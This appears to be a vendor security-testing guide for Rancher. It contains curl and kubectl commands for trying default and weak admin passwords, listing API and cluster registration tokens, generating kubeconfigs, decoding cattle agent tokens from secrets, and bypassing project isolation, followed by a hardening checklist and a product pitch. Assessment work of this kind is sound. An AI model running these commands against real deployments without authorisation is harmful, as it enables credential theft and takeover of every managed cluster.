Rancher Security Testing: Default Credentials, Cluster Import Token Exposure, and RBAC Bypass

Rancher is a multi-cluster Kubernetes management platform that provides a centralized control plane for managing multiple downstream clusters. A compromise of Rancher means simultaneous access to every cluster it manages — cluster registration tokens allow importing clusters, Rancher's agent running in each downstream cluster has privileged access to that cluster's API server, and the Rancher API exposes kubeconfig generation for all managed clusters. This guide covers systematic Rancher security assessment from both external and internal perspectives.

Table of Contents

  1. Default Credential Testing
  2. Rancher API Token Enumeration
  3. Cluster Import Token Exposure
  4. Rancher RBAC Project Isolation Testing
  5. Catalog Application Deployment Escalation
  6. Rancher Agent Privilege Abuse
  7. Key CVEs and Known Vulnerabilities
  8. Rancher Security Hardening

Default Credential Testing

# Rancher defaults to admin/admin on fresh install (changed on first login prompt)
# Some deployments skip the change or use predictable passwords

# Test default login
curl -s -X POST https://rancher.example.com/v3-public/localProviders/local?action=login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"admin","responseType":"cookie"}' \
  -c /tmp/rancher-cookies.txt | python3 -c "
import json,sys
r = json.load(sys.stdin)
if 'token' in r:
    print('[CRITICAL] Default credentials work!')
    print('Token:', r['token'][:20]+'...')
elif r.get('type') == 'error':
    print('Auth failed:', r.get('message',''))
"

# Test common weak passwords
for pw in admin admin123 rancher Rancher1 password123; do
  result=$(curl -s -X POST https://rancher.example.com/v3-public/localProviders/local?action=login \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"admin\",\"password\":\"$pw\",\"responseType\":\"cookie\"}")
  if echo "$result" | python3 -c "import json,sys; r=json.load(sys.stdin); exit(0 if 'token' in r else 1)" 2>/dev/null; then
    echo "[HIT] Password: $pw"
  fi
done

# Check Rancher version (aids CVE research)
curl -s https://rancher.example.com/v3 -H "Authorization: Bearer TOKEN" | python3 -c "
import json,sys
r = json.load(sys.stdin)
print('Rancher version:', r.get('rancherVersion','?'))
"

Rancher API Token Enumeration

# Rancher API tokens are long-lived by default (no expiry)
# List all tokens (requires admin or account owner)

# Enumerate API tokens
curl -s https://rancher.example.com/v3/tokens \
  -H "Authorization: Bearer TOKEN" | python3 -c "
import json,sys
r = json.load(sys.stdin)
for t in r.get('data',[]):
    print(f\"Token: {t['id']}\")
    print(f\"  User: {t.get('userId','?')}\")
    print(f\"  Last used: {t.get('lastUsedAt','never')}\")
    print(f\"  Expires: {t.get('expiresAt','never — no expiry set')}\")
    print(f\"  Description: {t.get('description','?')}\")
"

# Check for tokens with no expiry (common for CI/CD service accounts)
curl -s https://rancher.example.com/v3/tokens \
  -H "Authorization: Bearer TOKEN" | python3 -c "
import json,sys
r = json.load(sys.stdin)
for t in r.get('data',[]):
    if not t.get('expiresAt'):
        print(f\"[!] No expiry: {t['id']} user={t.get('userId','?')} desc={t.get('description','?')}\")
"

# Generate a kubeconfig for a managed cluster via Rancher API
CLUSTER_ID=c-xxxxx
curl -s -X POST https://rancher.example.com/v3/clusters/$CLUSTER_ID?action=generateKubeconfig \
  -H "Authorization: Bearer TOKEN" | python3 -c "
import json,sys
r = json.load(sys.stdin)
print(r.get('config','')[:200])
"
# Contains a kubeconfig with full cluster access for the requesting user's permissions

Cluster Import Token Exposure

# Rancher generates cluster registration tokens to import new clusters
# These tokens, if exposed, allow an attacker to register a fake cluster
# or capture the agent token used by an existing cluster

# List cluster registration tokens
curl -s https://rancher.example.com/v3/clusterregistrationtokens \
  -H "Authorization: Bearer TOKEN" | python3 -c "
import json,sys
r = json.load(sys.stdin)
for t in r.get('data',[]):
    print(f\"Registration token: {t['id']}\")
    print(f\"  Cluster: {t.get('clusterId','?')}\")
    print(f\"  Expires: {t.get('expiresAt','never')}\")
    print(f\"  Command: {t.get('command','?')[:80]}\")
    print(f\"  Token: {t.get('token','?')[:20]}...\")
"

# Test: use a registration token to register an attacker-controlled cluster
# The registration command contains a token like: cattle.io/token:SECRET
# If this token has no expiry and appears in CI logs or GitHub Actions outputs,
# attacker can import a malicious cluster and gain a foothold in Rancher management plane

# Check for token exposure in accessible locations:
# 1. GitHub Actions logs (search for 'cattle.io' or 'clusterregistrationtoken')
# 2. Kubernetes secrets in cattle-system namespace of managed clusters
kubectl get secret -n cattle-system -l cattle.io/creator=norman 2>/dev/null | head -10

# Extract cattle agent token from managed cluster
kubectl get secret -n cattle-system -o json 2>/dev/null | python3 -c "
import json,sys,base64
secrets = json.load(sys.stdin)['items']
for s in secrets:
    data = s.get('data',{})
    if 'token' in data:
        print(f\"{s['metadata']['name']}: token={base64.b64decode(data['token']).decode()[:30]}...\")
"

Rancher RBAC Project Isolation Testing

# Rancher adds a project layer on top of Kubernetes namespaces
# Projects group namespaces and apply RBAC across them
# Test whether project-level RBAC properly isolates between teams

# List Rancher projects in a cluster
curl -s "https://rancher.example.com/v3/projects?clusterId=c-xxxxx" \
  -H "Authorization: Bearer TOKEN" | python3 -c "
import json,sys
r = json.load(sys.stdin)
for p in r.get('data',[]):
    print(f\"Project: {p['id']} name={p['name']}\")
    print(f\"  Namespaces: {[n for n in p.get('metadata',{}).get('annotations',{}).values()]}\")
"

# Test: can a user in project A access namespaces in project B?
# Rancher maps project membership to Kubernetes RBAC
# If a namespace is moved between projects without updating RBAC, access may persist

# Check if a user's kubeconfig generated by Rancher allows access to other projects
kubectl get pods --all-namespaces \
  --kubeconfig /tmp/rancher-generated-kubeconfig 2>/dev/null | head -20
# Should only show namespaces in the user's project

# Test: namespace escape via direct Kubernetes API (bypassing Rancher proxy)
# If downstream cluster API server is accessible directly (not only through Rancher):
kubectl get namespaces --server=https://DOWNSTREAM-CLUSTER-API 2>/dev/null
# If accessible: Rancher project isolation is bypassed; direct K8s RBAC applies

Rancher Security Hardening

Rancher Security Hardening Checklist:
Security TestMethodRisk
Default admin/admin credentialsPOST /v3-public/localProviders/local?action=loginCritical
Non-expiring API tokensGET /v3/tokens — check expiresAt fieldHigh
Cluster registration tokens in logs/reposSearch CI logs and Git history for cattle.ioHigh
Downstream cluster API accessible without Rancher proxyDirect kubectl to downstream cluster APIHigh
Project namespace isolation bypassTest kubeconfig access across project boundariesMedium
Catalog app deploys to privileged namespacesCheck Rancher Apps for kube-system deploymentsMedium

Automate Rancher Security Testing

Ironimo tests Rancher deployments for default credential exposure, API token expiry gaps, cluster registration token lifetime, project RBAC isolation bypass, catalog deployment privilege escalation, and downstream cluster direct access bypass — covering the full Rancher multi-cluster attack surface.

Start free scan